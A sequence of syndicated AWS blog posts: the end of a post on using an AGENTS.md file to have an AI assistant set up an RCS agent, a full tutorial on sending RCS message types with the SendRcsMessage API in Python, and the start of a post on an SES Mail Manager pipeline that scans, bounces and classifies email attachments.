  1. Check your AWS credentials — It runs aws sts get-caller-identity and asks how you authenticate if credentials are not configured. It supports named profiles, SSO, IAM user credentials, and environment variables.
  2. Verify EUM access — It confirms your account can use AWS End User Messaging.
  3. Check tooling — It verifies rsvg-convert is installed for brand asset generation.
  4. Ask for your preference — Quick mode (provide a brand name) or interactive mode (you specify every detail).

Step 4: Provide a brand name

In quick mode, you provide a brand name and the AI generates everything else: a description, an accessible accent color, contact information with placeholder values, privacy and terms URLs, and custom SVG brand assets with your brand name and colors.

In interactive mode, the AI asks for each detail one section at a time: brand name, accent color, logo description, banner description, contact information, and policy URLs.

Step 5: Watch it work

The AI assistant executes every AWS CLI command in sequence:

  1. Creates the RCS agent container.
  2. Enables deletion protection.
  3. Creates a test registration and links it to the agent.
  4. Generates and converts brand asset SVGs to PNG.
  5. Uploads the logo and banner as registration attachments.
  6. Sets all 23 registration fields using the correct parameter type for each (TEXT, SELECT, or ATTACHMENT).
  7. Submits the registration and polls for approval.
  8. Reports when the agent is active.

Step 6: Add a tester and send a message

Once the agent is approved, the AI asks for your test phone number, registers it as a verified tester, and waits for you to accept the invitation. After verification, it checks for blockers (protect configuration and opt-out lists), then sends your first branded RCS message.

Step 7: Test inbound messaging

The AI configures an automatic keyword response and walks you through the console deep link flow to verify two-way messaging. When you send RCSINBOUNDTESTING to your agent, you receive an automatic reply confirming inbound messaging works.

What the AI handles for you

The AGENTS.md file encodes several non-obvious behaviors that would otherwise require trial and error:

Challenge How the repo handles it
create-rcs-agent takes no --display-name parameter The brand name comes from the registration, not the agent creation call. The instructions reflect this.
Three different field parameter types The instructions include a field reference table mapping each of the 23 fields to its correct CLI parameter: --text-value, --select-choices, or --registration-attachment-id.
--field-values does not exist The instructions explicitly warn against this non-existent parameter and use the correct alternatives.
--attachment-body and --attachment-url conflict The instructions use --attachment-body only.
Accent color contrast requirements The instructions include pre-validated color choices with 4.5:1 contrast ratio against white.
Field paths differ from what you might expect The correct paths are agentDetails.logoImage and agentDetails.bannerImage, not logoAttachmentId or bannerAttachmentId.
New registration versions do not inherit field values The troubleshooting section warns that all 23 fields must be re-populated when creating a new version.

Customizing the repo

You can modify the AGENTS.md file to fit your workflow:

  • Change default values — Update placeholder contact information, privacy URLs, or terms URLs to match your organization.
  • Add custom brand assets — Replace the template SVGs in brand-assets/ with your own designs. Keep the logo at 224×224 px and the banner at 1440×448 px.
  • Extend the skills — Add new skills for richer message types (cards, carousels), event destinations for programmatic inbound handling, or integration with other AWS services.

Cleanup

To remove the resources created during testing:

# 1. Disable deletion protection
aws pinpoint-sms-voice-v2 update-rcs-agent \
  --rcs-agent-id <your-agent-id> \
  --no-deletion-protection-enabled \
  --region us-east-1

# 2. Delete the associated registration (required before deleting the agent)
aws pinpoint-sms-voice-v2 delete-registration \
  --registration-id <your-registration-id> \
  --region us-east-1

# 3. Delete the agent
aws pinpoint-sms-voice-v2 delete-rcs-agent \
  --rcs-agent-id <your-agent-id> \
  --region us-east-1

Note: You must delete the registration before the agent. Skipping this step results in a ConflictException: RESOURCE_NOT_EMPTY error.

Conclusion

The aws-samples/sample-rcs-agent-setup-and-send-messages repository turns a multi-step, error-prone CLI workflow into a guided conversation. Clone the repo, open it in your AI coding assistant, type “go,” and you have a working RCS agent that can send and receive branded messages to verified testers.

The AGENTS.md pattern is reusable. Any complex AWS workflow with non-obvious API behavior can be encoded the same way: document the correct commands, parameter types, and pitfalls in a structured file, and let the AI assistant execute it interactively.

For a detailed manual walkthrough of the same process, see Creating and testing an RCS agent with AWS End User Messaging. For an overview of the business case for RCS, see Upgrade business messaging with RCS on AWS. For more information, see the AWS End User Messaging service page and the RCS documentation.


About the author

Send rich RCS messages with AWS End User Messaging RCS

Post Syndicated from Rommel Sunga original https://aws.amazon.com/blogs/messaging-and-targeting/send-rich-rcs-messages-with-aws-end-user-messaging-rcs/

When a customer asks where their order is, a plain text reply answers the question. But a rich RCS message with a product photo, a tappable confirmation button, and a calendar chip helps the customer act on it. Rich Communication Services (RCS) messages deliver branded, interactive content, including images, rich cards, carousels, and suggestion chips, to the messaging app already built into the customer’s phone. Unlike Short Message Service (SMS), RCS messages come from a verified sender with your brand name and logo, deliver over a data connection, and support read receipts and structured replies. AWS End User Messaging RCS provides the SendRcsMessage API, a managed way to send RCS messages through a single integration point instead of separate integrations for each carrier.

This post is for developers and solutions architects who want to add RCS messaging to their customer engagement workflows on AWS. It shows how to send every RCS content type (text, files, rich cards, carousels, and suggestions). It also shows how to control delivery with message expiration and SMS fallback, using Python and the AWS End User Messaging RCS API.

The post focuses on the SendRcsMessage API, which is specific to RCS and is the only one of the two that supports rich cards, carousels, and suggestions. The SMS API’s SendTextMessage can also deliver over RCS when you pass an RCS agent as the origination identity, but it is limited to plain text. Every example that follows uses SendRcsMessage.

Prerequisites

Before you run the examples in this post, you need the following:

  • An AWS account with access to AWS End User Messaging.
  • An AWS RCS agent in the Active state. To send to your customers, the agent needs an approved country launch registration for each destination country. To run the examples before launch approval, use an agent with a testing registration and send to a registered test device: an Android phone with RCS enabled, or an iPhone on iOS 18 or later, with a status of VERIFIED.
  • AWS SDK for Python (Boto3) 1.43.37 or later, which includes SendRcsMessage support. Run pip install --upgrade boto3 to get the latest version.
  • Optionally, the AWS Command Line Interface (AWS CLI) version 2.35.12 or later.
  • For the suggestions example, an Amazon Simple Notification Service (Amazon SNS) topic configured for two-way messaging on your RCS agent, so you can receive suggestion tap events.

If you’re new to RCS on AWS, see Getting started with RCS on AWS End User Messaging SMS to create your agent. You pay standard RCS rates for RCS messages, including messages sent to test devices.

IAM permissions

The AWS Identity and Access Management (IAM) principal that runs the examples needs permissions for the following actions:

  • sms-voice:SendRcsMessage, to send RCS message types.
  • sms-voice:SendTextMessage, to send the plain text comparison example and any SMS fallback messages.
  • sms-voice:DescribeRcsAgents, to check that your agent is Active.
  • sms-voice:DescribeVerifiedDestinationNumbers, to confirm a registered test device is VERIFIED, if you send to one.

If you use the SMS fallback example, you also need a phone number or sender ID in your account that can send SMS to the destination country. RCS and SMS are separate origination identities: the RCS agent sends the RCS message, and the fallback needs its own SMS-capable identity.

If you send media from Amazon Simple Storage Service (Amazon S3), the bucket needs a resource policy granting the sms-voice.amazonaws.com service principal s3:GetObject, shown in the “File messages” section. If you use server-side encryption with AWS Key Management Service (AWS KMS) keys for your bucket, your KMS key policy must also grant the service access. For two-way messaging, your SNS topic needs a resource policy allowing the service to publish to it. For details, see Two-way messaging in the AWS End User Messaging SMS User Guide.

Configuration

Create a config.json file in your project directory to store the RCS agent Amazon Resource Name (ARN) that sends the messages and the recipient phone number in E.164 format:

{
  "rcsAgentArn": "arn:aws:sms-voice:us-east-1:111122223333:rcs-agent/rcs-a1b2c3d4",
  "destinationPhoneNumber": "+12065550100"
}

OriginationIdentity accepts the RCS agent ID (RcsAgentId) or ARN (RcsAgentArn), and also a pool ID or pool ARN. The examples use the agent ARN because it stays unambiguous when an account has more than one agent, but the shorter agent ID works the same way.

The config.json file is for local testing only. In production, don’t hardcode phone numbers and identifiers. Use AWS Secrets Manager, AWS Systems Manager Parameter Store, or environment variables instead.

Each example in this post builds a message_content dictionary and sends it with the following code:

import json
import boto3
import os

config_path = os.path.join(os.path.dirname(__file__), 'config.json')
with open(config_path, 'r') as f:
    config = json.load(f)

client = boto3.client('pinpoint-sms-voice-v2')

message_content = { ... }

response = client.send_rcs_message(
    DestinationPhoneNumber=config['destinationPhoneNumber'],
    OriginationIdentity=config['rcsAgentArn'],
    RcsMessageContent=message_content
)
print(f"Message sent. ID: {response['MessageId']}")

For production use, wrap the send call with error handling to manage throttling and validation failures:

try:
    response = client.send_rcs_message(
        DestinationPhoneNumber=config['destinationPhoneNumber'],
        OriginationIdentity=config['rcsAgentArn'],
        RcsMessageContent=message_content
    )
    print(f"Message sent. ID: {response['MessageId']}")
except client.exceptions.ThrottlingException as e:
    print(f"Rate limited. Retry after backoff: {e}")
except client.exceptions.ValidationException as e:
    print(f"Invalid request or media: {e}")
except Exception as e:
    print(f"Failed to send message: {e}")

The following sections show only the message_content for each message type. To send any of these messages, use the shared sending code from this section. The examples follow one scenario: AnyCompany, a fictitious retailer, messaging a customer about an order.

Text messages

Text messages are the most basic RCS content type. You can send plain text two ways. The SendTextMessage API, the same API used for SMS, delivers over RCS when you pass your RCS agent ARN as the origination identity:

response = client.send_text_message(
    DestinationPhoneNumber=config['destinationPhoneNumber'],
    OriginationIdentity=config['rcsAgentArn'],
    MessageBody="Hello from AnyCompany over RCS."
)

The SendRcsMessage API sends the same text as a TextMessage content type, and additionally supports suggestion chips, message expiration, and per-message fallback. An RCS text also arrives as a single message regardless of length, while carriers split SMS over 160 characters into segments that can arrive out of order.

Specifications and requirements

  • Message body: 1–3,072 UTF-8 characters, required.
  • Up to 11 suggestions per message (covered in the “Suggestions” section)
  • Destination phone number must be in E.164 format.
  • Without a FallbackConfiguration, recipients who can’t receive RCS get nothing.

Text message example

RCS text message from the AnyCompany agent confirming that order ORD-2026-001 has shipped

Figure 1: RCS text message confirming that order ORD-2026-001 has shipped

Code example

The following is the message_content for the preceding message:

message_content = {
    "Content": {
        "TextMessage": {
            "Body": "Thanks for reaching out to AnyCompany! Your order ORD-2026-001 has shipped and arrives on Friday, August 7. Reply to this message if you have any questions."
        }
    }
}

File messages

With file messages, you send a single image, video, audio file, or PDF that renders as inline media in the recipient’s messaging app. FileUrl accepts two URL forms, and they fail in different places.

With an S3 URL (s3://amzn-s3-demo-bucket/object-key), the API checks at request time that the object exists, is within the size limit, and is readable with the permissions you granted the service. If any of those checks fail, the call returns a ValidationException describing the problem, so you find out at send time. The service then retrieves the object, rehosts it, and generates a time-limited presigned URL for delivery to the device.

With an HTTPS URL, the URL is passed through to the carrier and isn’t checked the same way at request time. The API accepts the request. Problems such as an unreachable host, a URL that requires authentication, or an unsupported media type surface at delivery instead of in the API response. The URL must be publicly accessible with no authentication. The API doesn’t support plain http:// URLs.

Use S3 URLs when you want bad media to fail loudly at send time. Use HTTPS URLs for media already published on a public CDN, and monitor delivery events for failures.

Specifications and requirements

  • FileUrl: required, S3 or HTTPS URL, up to 2,000 characters.
  • ThumbnailUrl: optional, JPEG or PNG, recommended for video and PDF.
  • Maximum file size: 100 MB at the API layer. Carriers can enforce lower limits (keep video under 5 MB)
  • Supported formats include JPEG, PNG, and GIF images, MP4 and WebM video, MP3 and AAC audio, and PDF documents. Support varies by carrier and device.

To deliver from Amazon S3, add the following bucket policy so the service can read your objects:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "sms-voice.amazonaws.com"
      },
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::amzn-s3-demo-bucket/*"
    }
  ]
}

Replace amzn-s3-demo-bucket with your bucket name. To restrict access to a prefix, replace /* in the Resource ARN with a path such as arn:aws:s3:::YOUR-BUCKET/rcs-media/*.

File message example

RCS file message showing an inline PDF document attachment

Figure 2: RCS file message rendering an inline PDF attachment

Code example

The following is the message_content for the preceding message:

message_content = {
    "Content": {
        "FileMessage": {
            "FileUrl": "https://docs.aws.amazon.com/pdfs/social-messaging/latest/userguide/social-ug.pdf"
        }
    }
}

Rich cards

A rich card combines media, a title, a description, and suggested actions into a single structured message. Rich cards work well for product highlights, booking confirmations, appointment details, and promotional offers.

Specifications and requirements

  • Title: up to 200 characters. Description: up to 2,000 characters.
  • CardContent requires at least one of Media, Title, or Description
  • CardOrientation is required: VERTICAL or HORIZONTAL. Use VERTICAL because horizontal orientation truncates images on iOS.
  • Media Height: SHORT (112 density-independent pixels), MEDIUM (168), or TALL (264). IOS ignores this value.
  • Card-level suggestions: up to 4 per card.
  • URLs in description text are not tappable. Use OpenUrl suggestions for links.

Rich card message example

Vertical rich card with a product image, title, description, and Add to cart and View details buttons

Figure 3: Vertical rich card with a product image, title, description, and action buttons

Code example

The following is the message_content for the preceding message:

message_content = {
    "Content": {
        "RichCard": {
            "CardOrientation": "VERTICAL",
            "CardContent": {
                "Title": "AnyCompany Wireless Headphones",
                "Description": "Noise-cancelling, 30-hour battery life, available in black or silver. Your loyalty discount brings the price to $179.17.",
                "Media": {
                    "FileUrl": "https://example.com/images/headphones.png",
                    "Height": "MEDIUM"
                },
                "Suggestions": [
                    {
                        "Reply": {
                            "Text": "Add to cart",
                            "PostbackData": "cart_add_headphones"
                        }
                    },
                    {
                        "OpenUrl": {
                            "Text": "View details",
                            "PostbackData": "view_headphones",
                            "Url": "https://example.com/products/headphones",
                            "Application": "BROWSER"
                        }
                    }
                ]
            }
        }
    }
}

Carousels

A carousel displays 2–10 rich cards in a horizontally scrollable strip. Carousels fit browse-and-compare experiences such as product catalogs, service menus, plan comparisons, and location listings. Carousel cards use the same content model as standalone rich cards, with two differences: cards always render in a vertical layout, and the TALL media height is not supported.

Specifications and requirements

  • Cards per carousel: minimum 2, maximum 10.
  • CardWidth: SMALL (180 density-independent pixels) or MEDIUM (296). All cards share the same width.
  • Card title: up to 200 characters. Description: up to 2,000 characters.
  • Media Height: SHORT or MEDIUM only.
  • Suggestions: up to four per card, plus message-level chips below the whole carousel.
  • All cards scale to the height of the tallest card.
Carousel showing the first two product cards, Wireless Headphones and Smart Watch, each with a Select button

Figure 4: Carousel showing the Wireless Headphones and Smart Watch cards, each with a Select button

Scrolling right reveals the remaining cards:

Carousel scrolled to show the Portable Speaker card with a Select button

Figure 5: Carousel scrolled to the Portable Speaker card

Code example

The following is the message_content for the preceding message:

message_content = {
    "Content": {
        "Carousel": {
            "CardWidth": "MEDIUM",
            "CardContents": [
                {
                    "Title": "Wireless Headphones",
                    "Description": "Noise-cancelling, 30-hour battery. $179.17 with your discount.",
                    "Media": {
                        "FileUrl": "https://example.com/images/headphones.png",
                        "Height": "SHORT"
                    },
                    "Suggestions": [
                        {
                            "Reply": {
                                "Text": "Select",
                                "PostbackData": "select_headphones"
                            }
                        }
                    ]
                },
                {
                    "Title": "Smart Watch",
                    "Description": "Fitness tracking, 7-day battery, water resistant. $249.00.",
                    "Media": {
                        "FileUrl": "https://example.com/images/watch.png",
                        "Height": "SHORT"
                    },
                    "Suggestions": [
                        {
                            "Reply": {
                                "Text": "Select",
                                "PostbackData": "select_watch"
                            }
                        }
                    ]
                },
                {
                    "Title": "Portable Speaker",
                    "Description": "360-degree sound, 12-hour battery. $89.99.",
                    "Media": {
                        "FileUrl": "https://example.com/images/speaker.png",
                        "Height": "SHORT"
                    },
                    "Suggestions": [
                        {
                            "Reply": {
                                "Text": "Select",
                                "PostbackData": "select_speaker"
                            }
                        }
                    ]
                }
            ]
        }
    }
}

Suggestions

Suggestions are the interactive chips you saw in the earlier examples. They guide recipients through a conversation with predefined replies and actions, without typing. RCS supports six suggestion types: Reply, OpenUrl, DialPhone, ShowLocation, RequestLocation, and CreateCalendarEvent, and you can mix them in one message on any content type. Message-level suggestions live in a Suggestions array that is a sibling of Content, not nested inside it. Card-level suggestions live inside each card’s CardContent.

Every suggestion requires a Text label and PostbackData. The postback data is invisible to the recipient and comes back to your application when the chip is tapped. Encode routing information there (for example, appt_confirm_12345), and route logic on postback data rather than display text.

Specifications and requirements

  • Text label: up to 25 characters; PostbackData: up to 2,048 characters, both required on every suggestion.
  • Message-level suggestions: up to 11. Card-level suggestions: up to four per card.
  • OpenUrl Url must begin with https://. Set Application to WEBVIEW with a WebviewViewMode of FULL, HALF, or TALL to keep the recipient inside the messaging app.
  • DialPhone PhoneNumber must be in E.164 format.
  • CreateCalendarEvent requires Title, StartTime, and EndTime
  • Two-way messaging with an Amazon SNS topic must be configured to receive suggestion taps. Handle the case where a recipient types free text instead of tapping.

Suggestions message example

RCS text message confirming a fitting appointment at AnyCompany Anytown

Figure 6: RCS message confirming a fitting appointment at AnyCompany Anytown

The first suggestion chips shown below the appointment message: Confirm, Reschedule, Manage booking, and Call the store

Figure 7: Suggestion chips below the appointment message: Confirm, Reschedule, Manage booking, and Call the store

Scrolling the chip row reveals the remaining suggestions:

The remaining suggestion chips: View store map, Share my location, and Add to calendar

Figure 8: Remaining suggestion chips: View store map, Share my location, and Add to calendar

Code example

The following message_content combines all six suggestion types on one text message:

message_content = {
    "Content": {
        "TextMessage": {
            "Body": "Your fitting appointment at AnyCompany Anytown is confirmed for Friday, August 7 at 2:00 PM. How would you like to manage your visit?"
        }
    },
    "Suggestions": [
        {
            "Reply": {
                "Text": "Confirm",
                "PostbackData": "appt_confirm_12345"
            }
        },
        {
            "Reply": {
                "Text": "Reschedule",
                "PostbackData": "appt_reschedule_12345"
            }
        },
        {
            "OpenUrl": {
                "Text": "Manage booking",
                "PostbackData": "appt_manage_12345",
                "Url": "https://example.com/bookings/12345",
                "Application": "BROWSER"
            }
        },
        {
            "DialPhone": {
                "Text": "Call the store",
                "PostbackData": "appt_call_12345",
                "PhoneNumber": "+12065550142"
            }
        },
        {
            "ShowLocation": {
                "Text": "View store map",
                "PostbackData": "appt_map_12345",
                "Latitude": 47.6062,
                "Longitude": -122.3321,
                "Label": "AnyCompany Anytown"
            }
        },
        {
            "RequestLocation": {
                "Text": "Share my location",
                "PostbackData": "appt_share_loc_12345"
            }
        },
        {
            "CreateCalendarEvent": {
                "Text": "Add to calendar",
                "PostbackData": "appt_cal_12345",
                "Title": "AnyCompany fitting appointment",
                "StartTime": "2026-08-07T06:00:00Z",
                "EndTime": "2026-08-07T06:30:00Z",
                "Description": "Fitting appointment at AnyCompany Anytown"
            }
        }
    ]
}

When the recipient taps a chip, the messaging app sends the chip text back into the conversation as a reply:

Tapping Confirm sends the chip text back as a reply from the recipient, shown with a read receipt

Figure 9: Tapping Confirm sends the chip text back as a reply, shown with a read receipt

The tap arrives as an inbound event on your two-way SNS topic. The messageBody field contains a JSON string with a type of SUGGESTION, the display text, and the postback data:

{
  "originationNumber": "+12065550101",
  "destinationNumber": "rcs-a1b2c3d4",
  "messageBody": "{\"type\":\"SUGGESTION\",\"text\":\"Confirm\",\"postbackData\":\"appt_confirm_12345\"}",
  "inboundMessageId": "msg-abc123def456"
}

Note the casing difference: request fields use PascalCase (PostbackData), while inbound events use camelCase (postbackData). A RequestLocation tap delivers the recipient’s coordinates in a separate inbound location event.

Message expiration

The TimeToLive parameter sets an expiration window in seconds on a SendRcsMessage request. If the message is not delivered within that window, the service removes it and the recipient never sees it. This matters for time-sensitive content such as one-time passwords (OTPs): a verification code that arrives after the code has expired only confuses the customer.

Specifications and requirements

  • TimeToLive: integer seconds, 1–172,800 (48 hours). Use at least 10 seconds so the carrier can attempt delivery.
  • The countdown starts when the service accepts the request. Omitting TimeToLive means no expiration window.
  • On expiry you receive a TTL_EXPIRATION_REVOKED event (message removed, safe to send a fallback) or TTL_EXPIRATION_REVOKE_FAILED (revoke failed, the message might still deliver, so weigh the duplicate risk)

Message expiration example

RCS verification code message delivered within its five-minute expiration window

Figure 10: RCS verification code delivered within its five-minute expiration window

Code example

The following example sends an OTP that expires after five minutes. TimeToLive is a request parameter, a sibling of RcsMessageContent:

message_content = {
    "Content": {
        "TextMessage": {
            "Body": "Your AnyCompany verification code is 482913. This code expires in 5 minutes."
        }
    }
}

response = client.send_rcs_message(
    DestinationPhoneNumber=config['destinationPhoneNumber'],
    OriginationIdentity=config['rcsAgentArn'],
    RcsMessageContent=message_content,
    TimeToLive=300
)

Per-message fallback

Fallback is optional, and without it a recipient who can’t receive RCS gets nothing. The FallbackConfiguration request parameter routes the message to SMS or Multimedia Messaging Service (MMS). Fallback applies when the device or carrier doesn’t support RCS, when the channel rejects the message, or when the TimeToLive window expires first.

Specifications and requirements

  • Channel: required, SMS or MMS.
  • MessageBody: required for SMS fallback, up to 1,600 characters (compared with 3,072 for the RCS text body); MMS fallback requires at least one of MessageBody or MediaUrls
  • OriginationIdentity for the fallback: a phone number or sender ID registered in your account that can send SMS or MMS to the destination country. Pools and RCS agents are not accepted here.
  • Write the fallback content separately, because suggestion chips and rich cards don’t translate to SMS. Put URLs as plain text in SMS fallback, or use MMS fallback to preserve visual content.

Per-message fallback example

AnyCompany delivery notification delivered over RCS

Figure 11: AnyCompany delivery notification delivered over RCS

On a device without RCS, the SMS fallback version arrives instead from the fallback phone number.

Code example

The following example sends a delivery notification with an SMS fallback from a dedicated phone number:

message_content = {
    "Content": {
        "TextMessage": {
            "Body": "AnyCompany: your delivery arrives today between 2:00 PM and 4:00 PM. Track it at https://example.com/track/1234"
        }
    }
}

response = client.send_rcs_message(
    DestinationPhoneNumber=config['destinationPhoneNumber'],
    OriginationIdentity=config['rcsAgentArn'],
    RcsMessageContent=message_content,
    FallbackConfiguration={
        "Channel": "SMS",
        "MessageBody": "AnyCompany: your delivery arrives today between 2:00 PM and 4:00 PM. Track it at https://example.com/track/1234",
        "OriginationIdentity": "+12065550188"
    }
)

To track outcomes, pass ConfigurationSetName on the send call so delivery, read, expiration, and fallback events route to your configuration set’s event destinations. Set up event destinations before you send, because they don’t retroactively capture events.

Cleaning up

To avoid incurring future charges, delete the resources that you created during this walkthrough:

  1. Delete the RCS agent if you no longer need it. If you enabled deletion protection when creating it, disable that first. If you registered test devices, remove their verified destination numbers first.
  2. Delete the Amazon SNS topics and configuration set event destinations you created for two-way messaging and status events.
  3. Delete any media objects you uploaded for the examples and the bucket policy from your S3 bucket.
  4. Review Amazon CloudWatch Logs for log groups created by event destinations and delete them if no longer needed.

Conclusion

In this post, you learned how to send every RCS content type with AWS End User Messaging RCS, including text messages, file messages, rich cards, carousels, and suggestions. You also learned how to control delivery with message expiration and per-message SMS fallback. You sent each type from a short Python script, with one shared sending pattern across all content types.

The SendRcsMessage API keeps one pattern across all content types: a Content object for the message body and a sibling Suggestions array for interactivity. Moving from a plain text notification to a full product carousel is a change to one dictionary.

Next steps:

  • Build event-driven replies by subscribing an AWS Lambda function to your two-way Amazon SNS topic and routing on postback data.
  • Design a fallback strategy that pairs TimeToLive values with per-message SMS or MMS fallback for each use case.
  • If you started with a testing registration, submit a country launch registration when you’re ready to send to your customers.

Create your first RCS agent in the AWS End User Messaging SMS & RCS console and send a test message today. Tell us about your experience: share your use cases and questions in the comments.

Additional resources


About the authors

Build an AI email pipeline with Amazon Bedrock and SES Mail Manager

Post Syndicated from Zip Zieper original https://aws.amazon.com/blogs/messaging-and-targeting/build-an-ai-email-pipeline-with-amazon-bedrock-and-ses-mail-manager/

Processing inbound email attachments at scale involves extracting files, routing them by recipient, scanning for malware, and classifying content. This traditionally requires stitching together polling loops, event rules, and multiple integration points. Amazon Simple Email Service (Amazon SES) Mail Manager now provides two new rule actions that simplify this pattern. The Lambda action invokes AWS Lambda functions directly from rule sets, and the Bounce action returns rejection responses. Together, they let you build multi-step email processing pipelines with declarative configuration.

In this post, you learn how to build an attachment processing pipeline that automatically extracts email attachments and classifies them with Amazon Bedrock. The pipeline also rejects infected files with RFC-compliant bounce responses. The complete implementation is available as an AWS Cloud Development Kit (AWS CDK) deployment in the companion GitHub repository sample-amazon-ses-mail-manager-attachment-pipeline. You can deploy it manually using the steps in this post, or hand it off to an AI coding agent such as Kiro or Claude Code. The repository includes a machine-readable agentic deployment guide that walks an agent through every deployment step, from prerequisite checks to post-deploy verification.

Architecture of the inbound email pipeline: SES Mail Manager routes messages through a traffic policy and rule set to AWS Lambda, Amazon Simple Storage Service (Amazon S3), Amazon DynamoDB, and Amazon Bedrock

The problem: scaling document intake for a multi-tenant platform

Consider a fictitious SaaS platform from AnyCompany that lets customers submit documents by email. Each customer sends invoices, contracts, and supporting files to a dedicated address (for example, [email protected] or [email protected]). They expect those attachments to land in their isolated storage, classified and ready for downstream processing.

Without a purpose-built pipeline, the typical approach looks like this: an Amazon S3 event notification triggers a Lambda function that polls for new MIME objects, parses them, looks up the recipient in a routing table, and fans out extraction to another function. Worse, it relies on a separate virus-scanning step having run first. Orchestration lives in AWS Step Functions or Amazon EventBridge rules. Adding a new customer means updating routing configuration in multiple places. Adding classification means bolting on yet another Lambda in the chain.

The result is fragile. When volume spikes during month-end invoice runs or onboarding waves, the polling loop backs up and retries cascade. Infected files occasionally slip past the scanner because the scan and extraction steps are not transactionally linked.

This pipeline solves the problem declaratively. Mail Manager’s traffic policy rejects unauthorized senders and enforces size limits at the SMTP connection level. This filtering happens before any processing resources are consumed. The rule set handles virus scanning, bouncing, archiving, classification, and extraction in a single ordered sequence. Each step completes before the next begins. If an attachment is infected, the sender gets an immediate SMTP bounce. There are no silent failures and no orphaned files in downstream storage.

The result is a pipeline where:

  • Adding a customer means adding an email address to the Mail Manager address list and a row in Amazon DynamoDB. No changes to code.
  • Adding a classification category means editing a prompt string. No schema migration.
  • Infected files never reach storage because the bounce fires during the SMTP transaction, before any Lambda is invoked.

Pipeline architecture overview

Table 1: Architecture components and their roles in the email processing pipeline

Component Role
Amazon SES Mail Manager open Ingress Endpoint Email arrives via public internet at a Mail Manager open ingress point over SMTP.
Mail Manager traffic policy Filters spam using the Abusix (or Spamhaus) email add-on, then enforces a recipient allowlist at the connection level.
Mail Manager rule set Messages for allowed recipients are passed to the rule set, which sequentially evaluates each message against two rules.
Rule 1 Uses the Trend Micro email add-on to scan for infected attachments, then bounces any unsafe messages back to sender (using Amazon SES outbound).
Rule 2 Clean messages passed from Rule 1 are copied to a Mail Manager archive and written as raw Multipurpose Internet Mail Extensions (MIME) objects to a “landing-zone” Amazon S3 bucket.
AWS Lambda (AttachmentProcessor) Triggered by the arrival of objects in the S3 bucket, this function parses MIME email, extracts attachments, and routes them to per-recipient S3 buckets.
AWS Lambda (EmailCategorizer) Triggered by the arrival of objects in the landing-zone S3 bucket, this function classifies each email using Amazon Nova Micro via Amazon Bedrock and writes results to Amazon DynamoDB.
Amazon S3 (landing zone + per-recipient buckets) Stores raw MIME objects in a shared landing-zone bucket; stores extracted attachments in isolated per-recipient buckets keyed by local part (for example, invoices/ for [email protected]).
Amazon DynamoDB (RecipientBucketLookup) Maps recipient email addresses to their designated S3 bucket and key prefix.
Amazon DynamoDB (EmailCategories) Stores Amazon Bedrock classification results: category, urgency, and summary.
Amazon Bedrock (Amazon Nova Micro) Classifies each email into a category (invoice, contract, HR, unknown) and urgency level.
AWS IAM roles Mail Manager and Lambda execution permissions following the principle of least privilege.

How the Mail Manager traffic policy filters connections

The traffic policy (Receive-attachments) makes connection-level decisions before any message content is processed. It evaluates two statements in order:

  1. Deny spam — Connections from senders flagged by Abusix as spam sources are denied immediately.
  2. Allow approved recipients — Connections where the recipient is in the approved-recipients address list pass through to the rule set.

The policy uses a default action of DENY, so any connection that does not match an explicit ALLOW statement is rejected. The policy also enforces a 35 MB maximum message size. You can add additional statements to enforce SPF, DKIM, or DMARC authentication results. This is useful in regulated industries where sender verification is required before any processing occurs.

The PolicyStatements array defines the evaluation order (deny first, then allow):

PolicyStatements=[
    {   # Statement 1: Deny connections from known spam sources
        "Action": "DENY",
        "Conditions": [{"BooleanExpression": {
            "Evaluate": {"Analysis": {"Analyzer": "ABUSIX_ADDON_ARN", "ResultField": "isListed"}},
            "Operator": "IS_TRUE",
        }}],
    },
    {   # Statement 2: Allow only recipients in the approved list
        "Action": "ALLOW",
        "Conditions": [{"BooleanExpression": {
            "Evaluate": {"IsInAddressList": {"Attribute": "RECIPIENT", "AddressLists": ["ADDRESS_LIST_ARN"]}},
            "Operator": "IS_TRUE",
        }}],
    },
]

For the complete create_traffic_policy call with all parameters, see the companion repository.

API reference: CreateTrafficPolicy

Rule set: the processing pipeline

Messages that pass the traffic policy enter the rule set (attachment-pipeline-rules), which evaluates two rules in order.

Rule 1 — Virus scan and bounce

This rule checks the Trend Micro add-on result. If Trend Micro reports isPassed = FALSE (infected attachment detected) — note that Mail Manager has already accepted the message by this point — the rule fires a Bounce action, which generates a non-delivery report (NDR) back to the sender with SMTP 550 (permanent failure) and status 5.7.1 (security/policy reason). It then Drops the message. No further rules run.

This after-the-fact NDR prevents infected messages from entering your processing pipeline while still providing clear guidance to legitimate senders.

Rule 2 — Process clean email

This rule has no conditions, so it applies to every message that passed the virus scan. It runs four actions in sequence:

  1. Archive — Mail Manager stores a copy in the archive for compliance and electronic discovery (eDiscovery).
  2. WriteToS3 — Mail Manager writes the raw MIME object to the amzn-s3-demo-bucket-general-receiving S3 bucket, keyed by message ID.
  3. InvokeLambda (EmailCategorizer, REQUEST_RESPONSE) — Mail Manager invokes the categorizer, which classifies the email with Amazon Bedrock and writes results to Amazon DynamoDB.
  4. InvokeLambda (AttachmentProcessor, REQUEST_RESPONSE) — Mail Manager invokes the processor, which extracts attachments and routes them to per-recipient S3 locations.

The categorizer fires before the attachment processor by design: the attachment processor deletes the original MIME from Amazon S3 after successfully extracting attachments. By running first, the categorizer is guaranteed to find the MIME in Amazon S3.

Because the Bounce and Drop actions fire in Rule 1, the Lambda functions in Rule 2 are never invoked for infected messages. There is no risk of malicious content reaching your Amazon S3 buckets or Amazon Bedrock.

API reference: CreateRuleSet

How Amazon Bedrock classifies inbound email

The MailManager-EmailCategorizer function uses Amazon Nova Micro (amazon.nova-micro-v1:0) to classify each email. Amazon Nova Micro is a fast, lightweight text-only model optimized for classification and structured output tasks. Access to all Amazon Bedrock foundation models, including Amazon Nova Micro, is available by default in all commercial AWS Regions. No access request is needed.

The function performs the following steps:

  1. Parses the recipient, message ID, and subject from the Mail Manager event.
  2. Retrieves the raw MIME from the amzn-s3-demo-bucket-general-receiving S3 bucket.
  3. Extracts the plain-text or HTML body from the MIME structure.
  4. Sends the subject (capped at 500 characters) and body (capped at 4,000 characters) to Amazon Bedrock with a classification prompt.
  5. Writes the structured result to the EmailCategories DynamoDB table.

The classification prompt returns a structured JSON response:

{
    "category": "invoice | contract | hr | unknown",
    "urgency": "urgent | non-urgent",
    "summary": "<50-word summary>"
}

